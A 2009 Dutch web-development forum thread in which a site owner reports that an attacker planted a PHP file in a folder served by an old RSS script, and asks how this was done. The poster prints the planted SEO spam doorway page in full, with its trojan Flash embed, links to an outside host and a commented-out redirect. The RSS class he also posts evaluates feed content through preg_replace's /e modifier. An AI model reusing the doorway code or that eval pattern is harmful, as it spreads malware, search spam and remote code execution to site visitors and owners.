Zoekresultaten zijn door hacker gemanipuleerd

Pagina: 1
Acties:
  • 354 views

Acties:
  • 0 Henk 'm!

  • isomis
  • Registratie: Mei 2005
  • Laatst online: 21:30
Ik dacht laat ik dit maar even met jullie delen, omdat het gewoon apart is :P :

Via google kwam ik deze resultaten tegen van een website van ons:
http://www.google.com/sea...opinie.nl&btnG=Zoeken&lr=

Op dat moment dacht ik, wat is hier aan de hand? Ik ben de desbetreffende map in gegaan en wat bleek? Er zat naast de xml bestanden ook een index.php, cache.txt en flash object (trojan) in. Wat bleek nou: ik ben in het verleden zo dom geweest om een rss script te gebruiken van het internet. Deze is misbruikt door een hacker en die heeft het volgende index.php bestand in de xml map gekregen:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
function getmsncontent ($terms,$keys=0)
{
    sort ($keys);
    $terms = urlencode($terms);
    $source = "http://search.live.com/results.aspx?q=$terms&count=100&first=28&mkt=en-US";
    $a=@file_get_contents($source);
    preg_match_all("/<h3>(.*?)<\/p>/",$a,$match);
    preg_match("/Related searches(.*?)<\/ul>/",$a,$ma);
    preg_match_all("/<li>(.*?)<\/li>/",$ma[1],$rel);   
    asort ($rel[1]);
    foreach ($rel[1] as $rela) {
        //        $relst=$relst."<li><a href=./?".urlencode(trim(strip_tags($rela))).">".trim(strip_tags($rela))."</a></li>";
        //$relst=$relst."<li>".trim(strip_tags($rela))."</li>";
    }

    //$relst="<ul>".$relst."</ul>";
    $zuga=$match[1];
    $zuga=array_unique($zuga);
    //shuffle ($zuga);
    foreach ($zuga as $col=>$zop) {
        if ($keys) {
            $zop=strip_tags($zop);
            $zop=preg_replace("/href=\"(.*?)this\)/","href=\"?".$terms."",$zop);
            if ($keys[$col]) {
                $zopa.="<p>".strip_tags($zop,"<p><strong>")." <p><a href=./?".$keys[$col]."><img src=http://pptk.kwik.to/pictures/".$keys[$col].".jpg border=0 alt=\"".strtoupper(urldecode ($keys[$col]))."\">".strtoupper(urldecode ($keys[$col]))."</a></p></p>\n<br>";
            }else {
                $zopa.="<p>".$zop."</p>\n<br>";
            }

        }else {
            $zopa.=strip_tags($zop);
        }
    }
    $zopa=str_replace("...","",$zopa);
    return $relst." ".$zopa;

}
function gettrendsrelate ($url){
    $relpage=file_get_contents(trim ($url));
    if ($relpage) {
        preg_match("/<b>Related searches:<\/b><br>(.*?)<br><br>/s",$relpage,$match);
        if ($match[1]) {
            return $match[1];
        }
    }
}
function gettrends() {
    $trendurl="http://www.google.com/trends/hottrends/atom/hourly";
    $trendpage=@file_get_contents($trendurl);
    if  ($trendpage) {
        preg_match_all ("/><a href=\"(.*?)\">(.*?)<\/a>/",$trendpage,$match);
        $result['urls']=$match[1];
        $result['keys']=$match[2];
        preg_match("/<updated>(.*?)<\/updated>/",$trendpage,$match2);
        $result['update']=preg_replace("/[^0-9]/","",$match2[1]);
    } else {
        $result['err']="1";
    }
    return $result;
}
if (time()>@filectime("cache.txt")+3600 or (!(is_file("cache.txt")))) {
    $keys=gettrends();
    $a=fopen ("cache.txt","w");
    foreach ($keys[keys] as $colu=>$key) {
        $key=preg_replace("/[^A-z0-9 ]/","",$key);
        $keyst=$keyst."qqqqx".urlencode($key);

    }
    fwrite($a,base64_decode($keyst));
    fclose ($a);

}
$keys=split ("qqqqx",base64_encode(file_get_contents("cache.txt")));
$key=urldecode($_SERVER['QUERY_STRING']);
//$js='<img src="http://pptk.kwik.to/head.gif" onerror="document.location=\''."http://pptk.kwik.to/?q=".urlencode(preg_replace("/\//","",$key)).'\';">';
$js='<object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" id="home"><param name="movie" value="banner.swf"><embed src="banner.swf" quality="high" name="home" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></object>';
$temp='<HTML>
<HEAD>
<TITLE>'.strtoupper($key).'</TITLE>
<META http-equiv=Content-Type content="text/html; charset=utf-8">
<META content="index,follow" name=ROBOTS>
<META http-equiv="Content-Language" content="en">
<meta name="ROBOTS" content="NOARCHIVE">
</HEAD>
<BODY>
'.$js.'
<H1>'.strtoupper($key).'</H1>
'.getmsncontent($key,$keys,$_GET['hoh']);
echo "<a href=\"\">$key</a>";
echo $temp;
echo "</BODY>
</HTML>";
?>


Heb nu het script verwijderd, want het werd toch niet meer gebruikt (ja dom van me). Via robots.txt heb ik gezegd dat de hele map xml niet meer gevolgd mag worden. Het zal wel slechte effecten hebben gehad op me google resultaten, maar dat is mijn eigen stomme schuld.

Nu is alleen de vraag, hoe is het hem gelukt een index.php aan te maken via het rss script. Mijn eerste reactie was van "dom dom dom, nooit zomaar een bestaande script gebruiken van het internet" Echter ik ben nu het script aan het bekijken en vraag me de volgende vragen af:

1. Hoe is hij in godsnaam bij het script gekomen/gevonden? het zat in een map en dan nog eens een submap (heb nu wel de hele core van de website verplaatst boven de public_html map)
2. Ik weet dat het script xml bestanden kan aanmaken, maar hoe heeft hij het script laten werken voor zijn acties?

Ben erg nieuwsgierig hoe hij dit voor elkaar heeft gekregen.

Het script:
zie 2de bericht, kan het niet plaatsen in 1 bericht, krijg error

Tenslotte hoop ik dat niet meer mensen dit script hebben gebruikt natuurlijk.

Webontwikkelaar - Kitesurfer | Gamer


Acties:
  • 0 Henk 'm!

  • isomis
  • Registratie: Mei 2005
  • Laatst online: 21:30
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
<?php
/*!
@file   class.rss20.php
@short  klasse voor het lezen (en cachen) van RSS-bestanden
@date   2005-03-15 13:30
@author Thomas van den Heuvel aka FangorN - the@stack.nl
*/

/*
http://www.zend.com/zend/art/parsing.php
http://www.sitepoint.com/article/php-xml-parsing-rss-1-0
http://www.php.net/manual/en/function.xml-set-character-data-handler.php

PHP maakt gebruik van expat, een event-driven XML parser (in tegenstelling tot een tree-based parser)
expat maakt gebruik van events (geregistreerde callback-functies worden aangeroepen wanneer er een
event optreed, bijvoorbeeld als er een tag geopend op gesloten wordt)
Het is de verantwoordelijkheid van de programmeur om tijdens het parsen een stack of lijst bij te houden
waarin de structuur van het te parsen XML-bestand wordt vastgelegd.
*/

//! rss20 class
/*!
Met deze klasse kun je RSS-bestanden lezen (en cachen). De inhoud van het RSS-bestand wordt opgeslagen
in een array (binnen het rss20-object) die eenvoudig gebruikt kan worden om de headlines van een RSS-
bestand af te drukken.
*/
class rss20 {
  var $file;             //!< (string) XML-bestand dat geparsed dient te worden (URL)
  var $cached_file;      //!< (string) naam van het XML-bestand dat gecached dient te worden / waaruit gelezen wordt
  var $from_file;        //!< (bool) boolean die aangeeft of het XML-bestand werd gelezen van de site of uit cache
  var $site_retry;       //!< (bool) boolean die aangeeft of de laatst gecachede versie van het XML-bestand leeg was
  var $rss;              //!< (object) het XML-parser object
  var $stack = array();  //!< (array) stack van het XML-bestand (wordt gebruikt voor het parsen, houdt geopende tags bij)
  var $content = "";     //!< (string) buffer voor CDATA (character-data)
  var $channel_tags = array("title", "link", "description", "language", "copyright", "managingEditor", "webMaster", "pubDate", "lastBuildDate", "category", "generator", "docs"); //!< (array) lijst van channel-tags die opgeslagen dienen te worden
  var $item_tags = array("title", "link", "description", "author", "category", "pubDate", "content:encoded"); //!< (array) lijst van item-tags die opgeslagen dienen te worden
  var $output = array(); //!< (array) de output van het XML-bestand wordt hier in opgeslagen (om dit array draait deze klasse in feite)
  var $cur_chan = -1;    //!< (int) huidige kanaal
  var $cur_item = -1;    //!< (int) huidige item

  //! constructor
  /*!
  @post een parser voor het parsen van het XML-bestand is aangemaakt en geinitialiseerd
  */
  function rss20() {
    $this->rss = xml_parser_create(); // creeer de parser

    xml_set_object($this->rss, $this); // geeft aan dat de XML-parser in het rss20-object staat

    xml_parser_set_option($this->rss, XML_OPTION_CASE_FOLDING, false); // uppercasing in XML? XML is case-sensitive!
    xml_parser_set_option($this->rss, XML_OPTION_SKIP_WHITE, true); // slaat "space characters" over in het XML-bestand
    xml_set_element_handler($this->rss, "startelement", "endelement"); // callback functie voor openings- and sluitings-tags
    xml_set_character_data_handler($this->rss, "characterdata"); // callback functie voor CDATA (character-data) binnenin tags
  }

  //! initialisatie functie
  /*!
  @param $file (string) het XML-bestand dat ingelezen dient te worden (URL)
  @param $cache (string) wanneer je het XML-bestand wilt cachen, dient dit veld de naam van de lokale kopie te bevatten (default "")
  @post het rss20-object is nu geinitialiseerd en gereed voor parse-data
  */
  function newfile($file, $cache = "") {
    $this->cur_chan = -1;
    $this->cur_item = -1;
    $this->file = $file;
    $this->cached_file = $cache;
    $this->from_file = false;
    $this->site_retry = false;
    $this->output['channel'] = array();
  }

  //! callback functie die wordt uitgevoerd wanneer er een tag wordt geopend
  /*!
  @param $rss (object) verwijzing naar de XML-parser
  @param $name (string) de naam van de tag die er voor zorgde dat deze methode werd aangeroepen
  @param $attrs (array) associatief array met de attributen+waarden van de tag (als die er zijn, RSS heeft er iig geen)
  */
  function startelement($rss, $name, $attrs) {
    // er is een nieuwe tag geopend - zet de naam van de openings-tag op de stack
    array_push($this->stack, $name);

    switch($name) {
      case "channel":
        // maak een nieuw channel aan
        $this->cur_chan++; // verhoog de channel-teller
        $this->output['channel'][$this->cur_chan] = array(); // maak een array voor dit channel
        $this->output['channel'][$this->cur_chan]['item'] = array(); // maak een nieuw items-array voor binnen dit channel
        $this->cur_item = -1; // reset het aantal items voor dit kanaal
        break;
      case "item":
        $this->cur_item++; // verhoog de item-counter
        break;
    }
  }

  //! callback functie die wordt uitgevoerd wanneer er een tag wordt afgesloten
  /*!
  @param $rss (object) verwijzing naar de XML-parser
  @param $name (string) de naam van de tag die er voor zorgde dat deze methode werd aangeroepen
  */
  function endelement($rss, $name) {

    /*
    We zijn klaar met het lezen van (de inhoud van) een tag - $this->content bevat de inhoud van
    de tag. Bepaal aan de hand van de laatst geopende tag op $this->stack wat de bedoeling is.
    De tags "title", "link" en "description" kunnen zowel behoren tot een channel als een item.
    Maak gebruik van de stack om te bepalen of we ons in een channel(tag) of item(tag) bevinden.
    */

    // Mysterieuze spaties en regelovergangen voor en na de content ?
    if(in_array("item", $this->stack) && in_array($name, $this->item_tags)) {
      // We zitten in een item-tag en we zijn geinteresseerd in deze specifieke tag
      $this->output['channel'][$this->cur_chan]['item'][$this->cur_item][$name] = $this->cdata(trim($this->content));
    } else {
      // We zitten in een channel-tag
      if(in_array($name, $this->channel_tags)) {
        // We zijn geinteresseerd in deze specifieke tag
        $this->output['channel'][$this->cur_chan][$name] = $this->cdata(trim($this->content));
      }
    }

    // Reset de tag-inhoud
    $this->content = "";
    // De tag is afgesloten, dus deze kan verwijderd worden van de stack
    array_pop($this->stack);
  }

  //! callback functie die wordt uitgevoerd wanneer er CDATA (character-data) wordt gelezen
  /*!
  @param $rss (object) verwijzing naar de XML-parser
  @param $data (string) data die tussen een openings- en sluitingstag staat
  */
  function characterdata($rss, $data) {
    $this->content .= $data; // verzamel character-data in $this->content (niet alle tekst tussen de tags wordt in één keer gelezen)
  }

  //! leest de feed afkomstig uit ofwel een lokale file of een externe URL, wat er voor zorgt dat de callback-functies worden aangeroepen
  /*!
  @post de feed is geparsed en opgeslagen in lokale object-variabelen (tenzij de feed niet "well-formed" was)
  */
  function parse() {
    $data_temp = $this->getfeed($this->file, $this->cached_file);
    if(!xml_parse($this->rss, $data_temp)) {
      die(sprintf("XML error: %s at line %d", xml_error_string(xml_get_error_code($this->rss)), xml_get_current_line_number($this->rss)));
    }
  }

  //! retourneert het aantal channels
  /*!
  @return (int) bevat het aantal channels dat de feed heeft
  */
  function get_number_of_channels() {
    return sizeof($this->output['channel']);
  }

  //! retourneert het aantal items van een bepaald channel
  /*!
  @param $channel (int) het channel-nummer waarvan we het aantal items willen weten
  @return (int) bevat het aantal items dat een specifiek channel heeft
  */
  function get_number_of_items($channel) {
    return sizeof($this->output['channel'][$channel]['item']);
  }

  //! retourneert informatie van een specifiek kanaal
  /*!
  @param $channel (int) het channel-nummer waarvan we informatie willen hebben
  @return (array) associatief array met hierin channel-informatie
  */
  function get_channel_info($channel) {
    $ret = array();
    foreach($this->output['channel'][$channel] as $k => $v) {
      if($k != "item") {
        $ret[$k] = $v;
      }
    }
    return $ret;
  }

  //! retouneert alle items van een bepaald channel - dit is de methode waar het in deze klasse in feite om draait
  /*!
  @param $channel (int) het channel-nummer waar we de items van willen hebben
  @return (array) associatief array met hierin alle items van het channel $channel
  */
  function get_items($channel) {
    return $this->output['channel'][$channel]['item'];
  }

  //! deze methode zou aangeroepen moeten worden na het parsen van een XML-file - je moet ook een nieuw rss20-object aanmaken als je meerdere RSS-bestanden wilt parsen in hetzelfde script
  /*!
  @post de parser is vrijgegeven (waarmee in feite het rss20-object is "opgebruikt")
  */
  function free_parser() {
    xml_parser_free($this->rss);
  }

  //! stript de <![CDATA[...]]> tag en / of spaties uit de item-tags
  /*!
  @param $input (string) inhoud van een tag-paar (mogelijk omringd door een <![CDATA[...]]> tag)
  @return (string) getrimde inhoud van het tag-pair, ontdaan van de <![CDATA[...]]> tag als deze aanwezig was
  */
  function cdata($input) {
    // verwijder <![CDATA[content]]> uit $input
    // trim() is ook nodig - anders blijf je zitten met (ongewenste) spaties die achter zijn gebleven in <![CDATA[...]]>
    return preg_replace("/<!\[CDATA\[(.*)\]\]>/se", "trim('\\1')", $input);
  }

  //! leest een XML-feed van een URL zonder de pagina (al te lang :)) te laten hangen - www.php.net/file - function fetchUrlWithoutHanging()
  /*!
  @param $url (string) URL van de externe feed
  @param $cache (string) naam van de file die gebruikt dient te worden voor caching, laat deze leeg als je de feed niet wilt cachen (default "")
  @param $refresh (int) max leeftijd van de gecachede feed in seconden, als de leeftijd groter is dan $refresh seconden dan zal de feed gelezen worden van $url (default 900)
  @return (string) de complete feed

  NB:  Deze methode is nog een beetje een work-in-progress, hier kunnen dus
  waarschijnlijk nog zaken aan veranderd / verbeterd worden.
  */
  function getfeed($url, $cache="", $refresh=900) {
    $path = $cache; // het pad waar je je XML-bestand naar wegschrijft in geval van caching - zorg dat dit klopt !

    /*
    Dient de feed uit cache gelezen te worden ?
    filesize($path) == 0 zou kunnen aangeven dat de site plat was/is (of de socket-connectie is ge-timeout)
    we willen iig niet $timeout seconden wachten om het nog eens te proberen
    */
    if($cache != "" && file_exists($path) && time() - filemtime($path) < $refresh && filesize($path) > 0) {
      $this->from_file = true; // de feed wordt uit cache gelezen

      $handle = fopen($path, "r");
      $size = (filesize($path) > 0) ? filesize($path) : 1024; // empty file fix
      $return = fread($handle, $size);
      fclose($handle);
    }

    if($cache == "" ||
    !file_exists($path) ||
    (file_exists($path) && time() - filemtime($path) >= $refresh) ||
    ($cache != "" && file_exists($path) && filesize($path) == 0)) {
      // De file was niet gecached, bestond nog niet, is verlopen of is leeg, update het bestand
      // $this->from_file stond al op false, dit geeft aan dat het XML-bestand gelezen wordt van een externe URL

      // Was het een tweede poging ?
      if(file_exists($path) && filesize($path) == 0 && $cache != "") {
        $this->site_retry = true;
      }

      /*
      Het volgende deel is een ietwat aangepaste variant van de fetchUrlWithoutHanging() functie
      */

      // Set maximum number of seconds (can have floating-point) to wait for feed before displaying page without feed
      // retrieving a feed can take (far) longer than this - cause ?
      $numberOfSeconds = 5;

      // Suppress error reporting so Web site visitors are unaware if the feed fails
      error_reporting(0);

      // Extract resource path and domain from URL ready for fsockopen
      $url = str_replace("http://", "", $url);
      $urlComponents = explode("/", $url);
      $domain = $urlComponents[0];
      $resourcePath = str_replace($domain, "", $url);

      // Establish a connection - may take 5 seconds
      $socketConnection = fsockopen($domain, 80, $errno, $errstr, $numberOfSeconds);

      // modification (doesn't seem to do much though :))
      stream_set_blocking($socketConnection, false);
      stream_set_timeout($socketConnection, $numberOfSeconds); // connection may take 5 seconds

      if(!$socketConnection) {
        // you may wish to remove the following debugging line on a live Web site
        // print("<!-- Network error: $errstr ($errno) -->");
      }  else {
        $xml = "";
        fputs($socketConnection, "GET /".$resourcePath." HTTP/1.0\r\nHost: ".$domain."\r\n\r\n");

        // loop until end of file
        while (!feof($socketConnection)) {
          $xml .= fgets($socketConnection, 128);
        } // end while

        fclose($socketConnection);
      }

      // Aanpassing - sloop headers eruit
      preg_match("/(<\?xml|<rss)(.*)/s", $xml, $content);
      $return = $content[0];

      // het volgende stuk code kan op sommige webservers problemen opleveren, dit ligt waarschijnlijk niet aan dit script
      // Dient de feed naar cache geschreven te worden ?
      if($cache != "") {
        $handle = fopen($path, "w");
        fwrite($handle, $return);
        fclose($handle);
        chmod($path, 0644); // dit kan op sommige webservers problemen opleveren, dit ligt niet aan dit script
      }
    }
    /*
    Retourneer alleen de content. Als de content leeg is, dan is de URL naar de feed waarschijnlijk
    verkeerd (403 - moved permanently)
    Voor alle content (inclusief headers) retourneer $xml
    */

    return $return;
  }

  //! geeft aan of de feed uit cache werd gelezen (true) of uit een externe file (false)
  /*!
  @return (bool) boolean die aangeeft of de feed uit een lokaal bestand werd gelezen
  */
  function read_from_file() {
    return $this->from_file;
  }

  //! geeft aan of de laatste gecachede file leeg was - dit zou kunnen inhouden dat de site vanwaar de feed afkomstig is plat ligt
  /*!
  @return (bool) boolean die aangeeft of de laatst gecachede file leeg was
  */
  function read_site_retry() {
    return $this->site_retry;
  }
}
?>

Webontwikkelaar - Kitesurfer | Gamer


Acties:
  • 0 Henk 'm!

  • Creepy
  • Registratie: Juni 2001
  • Laatst online: 21:31

Creepy

Tactical Espionage Splatterer

Hoe even, maar dit is zo niet de bedoeling. Als je support wil voor niet zelf geschreven code dan zul je bij de makers moeten zijn. Je kan je daarnaast ook zelf proberen in de materie te verdiepen i.p.v. maar alle code te dumpen en wachten op een antwoord. Hier op GoT draait het om eigen inzet en die kan ik aan de hand van jou posts niet ontdekken.

Probeer dus eerst eens zelf te kijken wat het scripts doen en wat voor eventuele mogelijkheden er zijn om zaken gehacked te krijgen. Weet je daarnaast 100% zeker dat het via dit script is gebeurd? Misschien zaten er wel fouten in andere stukken software. Maar probeert dat eerst eens te achterhalen ;) Daarnaast doet het rss script zo uitzichzelf niets, daar is nog aanroepende code voor nodig.

[ Voor 6% gewijzigd door Creepy op 12-08-2009 20:24 ]

"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney


Dit topic is gesloten.